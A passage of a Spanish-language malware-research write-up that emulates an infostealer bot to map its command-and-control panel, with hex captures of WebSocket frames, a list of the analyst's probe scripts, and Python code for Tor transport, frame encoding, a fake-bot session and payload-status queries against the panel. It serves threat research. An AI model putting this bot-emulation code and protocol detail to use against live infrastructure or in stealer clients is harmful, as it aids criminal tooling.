            0010  6b 3b 53 74 65 61 6c 65 72 3b 74 61 73 6b 5f 69  |k;Stealer;task_i|
            0020  64 3b 63 75 73 74 6f 6d 5f 74 61 73 6b 3b 76 65  |d;custom_task;ve|
            0030  72 73 69 6f 6e 3b 31 2e 30 2e 31 81 39 74 61  |rsion;1.0.1.9tas|
            0040  6b 3b 63 72 65 61 74 65 74 61 73 6b 3b 53 74 65  |k;createtask;Ste|
            0050  61 6c 65 72 3b 74 61 73 6b 5f 69 64 3b 6e 6f 73  |aler;task_id;nos|
            0060  33 6f 33 5f 74 78 71 31 3b 76 65 72 73 69 6f 6e  |3o3_txq1;version|
            0070  3b 31 2e 30 2e 31                                |;1.0.1|

  0.480        MENSAJE DE TAREA RECIBIDO: task;createtask;Stealer;task_id;custom_task;version;1.0.1
  0.480        MENSAJE DE TAREA RECIBIDO: task;createtask;Stealer;task_id;nos3o3_txq1;version;1.0.1

  9.949  &lt;- SERVIDOR      6 B
            0000  81 04 70 69 6e 67                                |..ping|
  9.949  -&gt; CLIENTE     10 B  respuesta de latido
            0000  81 84 44 3e b1 56 34 51 df 31                    |..D&gt;.V4Q.1|

 24.938  &lt;- SERVIDOR      6 B
            0000  81 04 70 69 6e 67                                |..ping|
 24.939  -&gt; CLIENTE     10 B  respuesta de latido
            0000  81 84 86 a5 8a 80 f6 ca e4 e7                    |..........|

 39.946  &lt;- SERVIDOR      6 B
            0000  81 04 70 69 6e 67                                |..ping|
 39.946  -&gt; CLIENTE     10 B  respuesta de latido
            0000  81 84 5c b1 00 f7 2c de 6e 90                    |....\...,.n.|</code></pre>
<h3 id="92-lectura-de-las-tramas-nivel-de-byte">9.2 Lectura de las tramas (nivel de byte)</h3>
<table>
<thead>
<tr>
<th>Bytes</th>
<th>Campo</th>
<th>Interpretación</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>00 00 00 00 00 00</code></td>
<td>preámbulo</td>
<td>Firma propia del panel antes del handshake</td>
</tr>
<tr>
<td><code>81</code></td>
<td>byte 0 del cliente</td>
<td><code>FIN=1</code>, opcode <code>0x1</code> (TEXTO)</td>
</tr>
<tr>
<td><code>8b</code></td>
<td>byte 1 del cliente</td>
<td>máscara activada, longitud <code>0x0b</code> = 11 bytes</td>
</tr>
<tr>
<td><code>c7 05 9b 06</code></td>
<td>máscara</td>
<td>4 bytes de máscara (obligatoria en cliente -&gt; servidor)</td>
</tr>
<tr>
<td><code>fa 62 be 3e aa 28 f7 2b ab 7b</code></td>
<td>carga enmascarada</td>
<td><code>ready;1.0.0</code></td>
</tr>
<tr>
<td><code>81 39</code></td>
<td>trama del servidor</td>
<td><code>FIN=1</code>, TEXTO, longitud <code>0x39</code> = <strong>57 bytes</strong>, sin máscara</td>
</tr>
<tr>
<td><code>81 04 70 69 6e 67</code></td>
<td>latido</td>
<td><strong>TEXTO</strong> <code>ping</code>, no trama de control <code>0x89</code></td>
</tr>
<tr>
<td><code>81 84</code> + 4 de máscara</td>
<td>respuesta</td>
<td><code>pong</code>, 4 bytes, enmascarado</td>
</tr>
</tbody>
</table>
<p><strong>Conclusión técnica:</strong> el panel usa tramas de texto de aplicación para el latido en lugar del mecanismo de control nativo de WebSocket. Es una implementación minimalista a propósito, coherente con un cliente que solo usa <code>send</code> y <code>recv</code> sobre sockets crudos.</p>
<p>Las dos tramas de tarea viajan en un <strong>único segmento TCP de 118 bytes</strong> (<code>0x39 + 2 + 0x39 + 2 + 57 + 57</code>): el servidor las escribe juntas, lo que indica un bucle de difusión, no dos respuestas a dos peticiones.</p>
<hr>
<h2 id="10-el-arnés-de-análisis">10. El arnés de análisis</h2>
<p>Todos los scripts comparten tres piezas: transporte SOCKS5 hacia Tor, un codec WebSocket mínimo escrito a mano y un volcado de evidencia.</p>
<table>
<thead>
<tr>
<th>Script</th>
<th>Propósito</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>probe.py</code></td>
<td>Primera batería: peticiones HTTP directas al 408 con variantes de <code>User-Agent</code>, y el protocolo crudo al 406. Sentó las respuestas de referencia (403 / 429).</td>
</tr>
<tr>
<td><code>tor_probe.py</code></td>
<td>Sondeo <strong>a través de Tor</strong>, con pausa configurable, y prueba de handshake WebSocket en 406 y 408. Descubrió el <code>101</code> y el <code>400 Bad request: unknown type</code> del 408.</td>
</tr>
<tr>
<td><code>bot_falso.py</code></td>
<td>Sesión WebSocket completa con ficheros inventados. Primera vez que se obtuvo respuesta del panel y tareas.</td>
</tr>
<tr>
<td><code>dialecto.py</code></td>
<td><strong>Script clave.</strong> Prueba un candidato de formato por conexión y usa el cierre del servidor como veredicto. Descubrió que <code>ready;1.0.0</code> es el saludo válido.</td>
</tr>
<tr>
<td><code>registro.py</code></td>
<td>Registro completo de un bot ficticio: handshake, <code>ready;</code>, respuesta a <code>getinfo</code>, manejo de latido y registro de tareas.</td>
</tr>
<tr>
<td><code>captura.py</code></td>
<td>Intento de descarga del payload combinando sesión viva y peticiones HTTP paralelas; mapeo inicial de rutas.</td>
</tr>
<tr>
<td><code>descarga.py</code></td>
<td>Peticiones HTTP al 408 contra los identificadores conocidos.</td>
</tr>
<tr>
<td><code>matriz.py</code></td>
<td>Barrido de puertos (80, 443, 406, 408, 409) y variantes de cabecera <code>Host</code>.</td>
</tr>
<tr>
<td><code>barrito.py</code></td>
<td>Barrido lento de nombres de fichero en <code>/task/</code>, con 40 s de separación.</td>
</tr>
<tr>
<td><code>rutas.py</code></td>
<td>Mapeo de rutas del panel. Descubrió <code>/files</code>.</td>
</tr>
<tr>
<td><code>files.py</code></td>
<td>Prueba de <code>/files/&lt;id&gt;</code> (conclusión: el id va en la query).</td>
</tr>
<tr>
<td><code>query.py</code></td>
<td>Pruebas con parámetros de query. <strong>Descubrió <code>/files?id=</code></strong> y la distinción entre <code>Task metadata not found</code> y <code>Uploaded file not found</code>.</td>
</tr>
<tr>
<td><code>coleccion.py</code></td>
<td>Registro de tres bots ficticios, recogida de todos los <code>task_id</code> y consulta de su estado en <code>/files</code>.</td>
</tr>
<tr>
<td><code>captura_forense.py</code></td>
<td>Captura byte a byte de una sesión completa, en hexadecimal y ASCII. Genera la evidencia del apartado 9.</td>
</tr>
</tbody>
</table>
<h3 id="101-piezas-clave-del-código">10.1 Piezas clave del código</h3>
<p><strong>Transporte a través de Tor (SOCKS5 con nombre de dominio):</strong></p>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 1</span><span><span style="color:#fff;font-weight:bold">def</span> socks5(sock, host, port):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 2</span><span>    sock.sendall(<span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#34;</span><span style="color:#0ff;font-weight:bold">\x05\x01\x00</span><span style="color:#0ff;font-weight:bold">&#34;</span>)                      <span style="color:#007f7f"># sin autenticación</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 3</span><span>    <span style="color:#fff;font-weight:bold">if</span> sock.recv(<span style="color:#ff0;font-weight:bold">2</span>)[<span style="color:#ff0;font-weight:bold">0</span>] != <span style="color:#ff0;font-weight:bold">5</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 4</span><span>        <span style="color:#fff;font-weight:bold">raise</span> RuntimeError(<span style="color:#0ff;font-weight:bold">&#34;SOCKS5 no aceptada&#34;</span>)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 5</span><span>    hb = host.encode()
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 6</span><span>    sock.sendall(<span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#34;</span><span style="color:#0ff;font-weight:bold">\x05\x01\x00\x03</span><span style="color:#0ff;font-weight:bold">&#34;</span> + <span style="color:#fff;font-weight:bold">bytes</span>([<span style="color:#fff;font-weight:bold">len</span>(hb)]) + hb + port.to_bytes(<span style="color:#ff0;font-weight:bold">2</span>, <span style="color:#0ff;font-weight:bold">&#34;big&#34;</span>))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 7</span><span>    rep = sock.recv(<span style="color:#ff0;font-weight:bold">4</span>)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 8</span><span>    <span style="color:#fff;font-weight:bold">if</span> rep[<span style="color:#ff0;font-weight:bold">1</span>] != <span style="color:#ff0;font-weight:bold">0</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 9</span><span>        <span style="color:#fff;font-weight:bold">raise</span> RuntimeError(<span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;SOCKS5 error </span><span style="color:#0ff;font-weight:bold">{</span>rep[<span style="color:#ff0;font-weight:bold">1</span>]<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">&#34;</span>)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">10</span><span>    sock.recv(<span style="color:#ff0;font-weight:bold">0</span> <span style="color:#fff;font-weight:bold">if</span> rep[<span style="color:#ff0;font-weight:bold">3</span>] == <span style="color:#ff0;font-weight:bold">1</span> <span style="color:#fff;font-weight:bold">else</span> <span style="color:#ff0;font-weight:bold">8</span> <span style="color:#fff;font-weight:bold">if</span> rep[<span style="color:#ff0;font-weight:bold">3</span>] == <span style="color:#ff0;font-weight:bold">4</span> <span style="color:#fff;font-weight:bold">else</span> <span style="color:#ff0;font-weight:bold">0</span>)</span></span></code></pre></div>
<p>El nombre de dominio se resuelve <strong>dentro de la red Tor</strong> (tipo <code>0x03</code>), de modo que ni la resolución DNS sale de la máquina.</p>
<p><strong>Codec de tramas WebSocket, con enmascarado obligatorio del cliente:</strong></p>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 1</span><span><span style="color:#fff;font-weight:bold">import</span> os, struct
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 2</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 3</span><span><span style="color:#fff;font-weight:bold">def</span> ws_frame(payload, opcode=<span style="color:#ff0;font-weight:bold">0x1</span>):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 4</span><span>    <span style="color:#0ff;font-weight:bold">&#34;&#34;&#34;Trama de texto. El cliente DEBE enmascarar; el servidor no.&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 5</span><span>    mask = os.urandom(<span style="color:#ff0;font-weight:bold">4</span>)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 6</span><span>    data = <span style="color:#fff;font-weight:bold">bytes</span>(c ^ mask[i % <span style="color:#ff0;font-weight:bold">4</span>] <span style="color:#fff;font-weight:bold">for</span> i, c in <span style="color:#fff;font-weight:bold">enumerate</span>(payload))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 7</span><span>    n = <span style="color:#fff;font-weight:bold">len</span>(payload)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 8</span><span>    <span style="color:#fff;font-weight:bold">if</span> n &lt; <span style="color:#ff0;font-weight:bold">126</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 9</span><span>        hdr = struct.pack(<span style="color:#0ff;font-weight:bold">&#34;!BB&#34;</span>, <span style="color:#ff0;font-weight:bold">0x80</span> | opcode, <span style="color:#ff0;font-weight:bold">0x80</span> | n)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">10</span><span>    <span style="color:#fff;font-weight:bold">elif</span> n &lt; <span style="color:#ff0;font-weight:bold">65536</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">11</span><span>        hdr = struct.pack(<span style="color:#0ff;font-weight:bold">&#34;!BBH&#34;</span>, <span style="color:#ff0;font-weight:bold">0x80</span> | opcode, <span style="color:#ff0;font-weight:bold">0x80</span> | <span style="color:#ff0;font-weight:bold">126</span>, n)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">12</span><span>    <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">13</span><span>        hdr = struct.pack(<span style="color:#0ff;font-weight:bold">&#34;!BBQ&#34;</span>, <span style="color:#ff0;font-weight:bold">0x80</span> | opcode, <span style="color:#ff0;font-weight:bold">0x80</span> | <span style="color:#ff0;font-weight:bold">127</span>, n)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">14</span><span>    <span style="color:#fff;font-weight:bold">return</span> hdr + mask + data
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">15</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">16</span><span><span style="color:#fff;font-weight:bold">def</span> parse_frames(buf):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">17</span><span>    <span style="color:#0ff;font-weight:bold">&#34;&#34;&#34;Decodifica tramas del servidor (sin máscara).&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">18</span><span>    out, i = [], <span style="color:#ff0;font-weight:bold">0</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">19</span><span>    <span style="color:#fff;font-weight:bold">while</span> i + <span style="color:#ff0;font-weight:bold">2</span> &lt;= <span style="color:#fff;font-weight:bold">len</span>(buf):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">20</span><span>        b0, b1 = buf[i], buf[i + <span style="color:#ff0;font-weight:bold">1</span>]
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">21</span><span>        op, masked, ln = b0 &amp; <span style="color:#ff0;font-weight:bold">0x0F</span>, b1 &gt;&gt; <span style="color:#ff0;font-weight:bold">7</span>, b1 &amp; <span style="color:#ff0;font-weight:bold">0x7F</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">22</span><span>        i += <span style="color:#ff0;font-weight:bold">2</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">23</span><span>        <span style="color:#fff;font-weight:bold">if</span> ln == <span style="color:#ff0;font-weight:bold">126</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">24</span><span>            <span style="color:#fff;font-weight:bold">if</span> i + <span style="color:#ff0;font-weight:bold">2</span> &gt; <span style="color:#fff;font-weight:bold">len</span>(buf): <span style="color:#fff;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">25</span><span>            ln = struct.unpack(<span style="color:#0ff;font-weight:bold">&#34;!H&#34;</span>, buf[i:i + <span style="color:#ff0;font-weight:bold">2</span>])[<span style="color:#ff0;font-weight:bold">0</span>]; i += <span style="color:#ff0;font-weight:bold">2</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">26</span><span>        <span style="color:#fff;font-weight:bold">elif</span> ln == <span style="color:#ff0;font-weight:bold">127</span>:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">27</span><span>            <span style="color:#fff;font-weight:bold">if</span> i + <span style="color:#ff0;font-weight:bold">8</span> &gt; <span style="color:#fff;font-weight:bold">len</span>(buf): <span style="color:#fff;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">28</span><span>            ln = struct.unpack(<span style="color:#0ff;font-weight:bold">&#34;!Q&#34;</span>, buf[i:i + <span style="color:#ff0;font-weight:bold">8</span>])[<span style="color:#ff0;font-weight:bold">0</span>]; i += <span style="color:#ff0;font-weight:bold">8</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">29</span><span>        <span style="color:#fff;font-weight:bold">if</span> masked:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">30</span><span>            mask = buf[i:i + <span style="color:#ff0;font-weight:bold">4</span>]; i += <span style="color:#ff0;font-weight:bold">4</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">31</span><span>        <span style="color:#fff;font-weight:bold">if</span> i + ln &gt; <span style="color:#fff;font-weight:bold">len</span>(buf):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">32</span><span>            <span style="color:#fff;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">33</span><span>        data = buf[i:i + ln]
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">34</span><span>        <span style="color:#fff;font-weight:bold">if</span> masked:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">35</span><span>            data = <span style="color:#fff;font-weight:bold">bytes</span>(c ^ mask[k % <span style="color:#ff0;font-weight:bold">4</span>] <span style="color:#fff;font-weight:bold">for</span> k, c in <span style="color:#fff;font-weight:bold">enumerate</span>(data))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">36</span><span>        i += ln
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">37</span><span>        out.append((op, data))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">38</span><span>    <span style="color:#fff;font-weight:bold">return</span> out</span></span></code></pre></div>
<p><strong>El núcleo de la sesión (saludo, registro, latido y tareas):</strong></p>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 1</span><span><span style="color:#007f7f"># tras el 101, enviar el saludo con la versión del bot</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 2</span><span>s.sendall(ws_frame(<span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#34;ready;1.0.0&#34;</span>))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 3</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 4</span><span><span style="color:#fff;font-weight:bold">for</span> op, data in tramas_recibidas:
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 5</span><span>    <span style="color:#fff;font-weight:bold">if</span> op != <span style="color:#ff0;font-weight:bold">0x1</span>:                       <span style="color:#007f7f"># solo tramas de texto</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 6</span><span>        <span style="color:#fff;font-weight:bold">continue</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 7</span><span>    t = data.decode(<span style="color:#0ff;font-weight:bold">&#34;utf-8&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;replace&#34;</span>).strip()
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 8</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 9</span><span>    <span style="color:#fff;font-weight:bold">if</span> t.lower() == <span style="color:#0ff;font-weight:bold">&#34;ping&#34;</span>:             <span style="color:#007f7f"># latido de aplicación</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">10</span><span>        s.sendall(ws_frame(<span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#34;pong&#34;</span>))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">11</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">12</span><span>    <span style="color:#fff;font-weight:bold">elif</span> t.lower().startswith(<span style="color:#0ff;font-weight:bold">&#34;getinfo&#34;</span>):    <span style="color:#007f7f"># el panel pide la huella</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">13</span><span>        s.sendall(ws_frame(
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">14</span><span>            <span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;info;</span><span style="color:#0ff;font-weight:bold">{</span>HWID<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">;</span><span style="color:#0ff;font-weight:bold">{</span>WINDOWS<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">;</span><span style="color:#0ff;font-weight:bold">{</span>USUARIO<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">;</span><span style="color:#0ff;font-weight:bold">{</span>BOT_ID<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">&#34;</span>.encode()))
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">15</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">16</span><span>    <span style="color:#fff;font-weight:bold">elif</span> t.lower().startswith(<span style="color:#0ff;font-weight:bold">&#34;task&#34;</span>):       <span style="color:#007f7f"># asignación de tarea</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">17</span><span>        registrar_tarea(t)                    <span style="color:#007f7f"># se guarda, NO se ejecuta</span></span></span></code></pre></div>
<p><strong>Consulta del estado de un payload:</strong></p>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">1</span><span>req = (<span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;GET /files?id=</span><span style="color:#0ff;font-weight:bold">{</span>task_id<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold"> HTTP/1.1</span><span style="color:#0ff;font-weight:bold">\r\n</span><span style="color:#0ff;font-weight:bold">&#34;</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">2</span><span>       <span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;Host: mops[.]to</span><span style="color:#0ff;font-weight:bold">\r\n</span><span style="color:#0ff;font-weight:bold">User-Agent: </span><span style="color:#0ff;font-weight:bold">{</span>UA<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">\r\n</span><span style="color:#0ff;font-weight:bold">&#34;</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">3</span><span>       <span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;Connection: close</span><span style="color:#0ff;font-weight:bold">\r\n\r\n</span><span style="color:#0ff;font-weight:bold">&#34;</span>).encode()
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">4</span><span><span style="color:#007f7f"># 404 &#39;Uploaded file not found&#39;  -&gt; la tarea existe pero el binario no está subido</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">5</span><span><span style="color:#007f7f"># 404 &#39;Task metadata not found&#39;   -&gt; el panel no conoce ese identificador</span></span></span></code></pre></div>
<hr>
<h2 id="11-la-tabla-de-oráculos-del-panel">11. La tabla de oráculos del panel</h2>
<p>El servicio responde de forma distinta según lo que se le pide. Esa tabla es la herramienta que permitió deducir la API:</p>
<table>
<thead>
<tr>
<th>Estímulo</th>
<th>Respuesta</th>
<th>Veredicto</th>
</tr>
</thead>
<tbody>
<tr>
<td>WS handshake en 406</td>
<td><code>101 Switching Protocols</code></td>
<td>Es WebSocket</td>
</tr>
<tr>
<td>WS handshake en 408</td>
<td><code>400 Bad request: unknown type</code></td>
<td>Aquí no hay WebSocket</td>
</tr>
<tr>
<td><code>ready;</code> (sin versión)</td>
<td>cierre de conexión en 0,5 s</td>
<td><strong>Formato inválido</strong></td>
</tr>
<tr>
<td><code>ready;1.0.0</code></td>
<td><code>getinfo</code></td>
<td><strong>Formato válido</strong></td>
</tr>
<tr>
<td><code>info;...</code> sin ir precedido de <code>ready</code></td>
<td>se ignora, sin cierre</td>
<td>Necesita el saludo previo</td>
</tr>
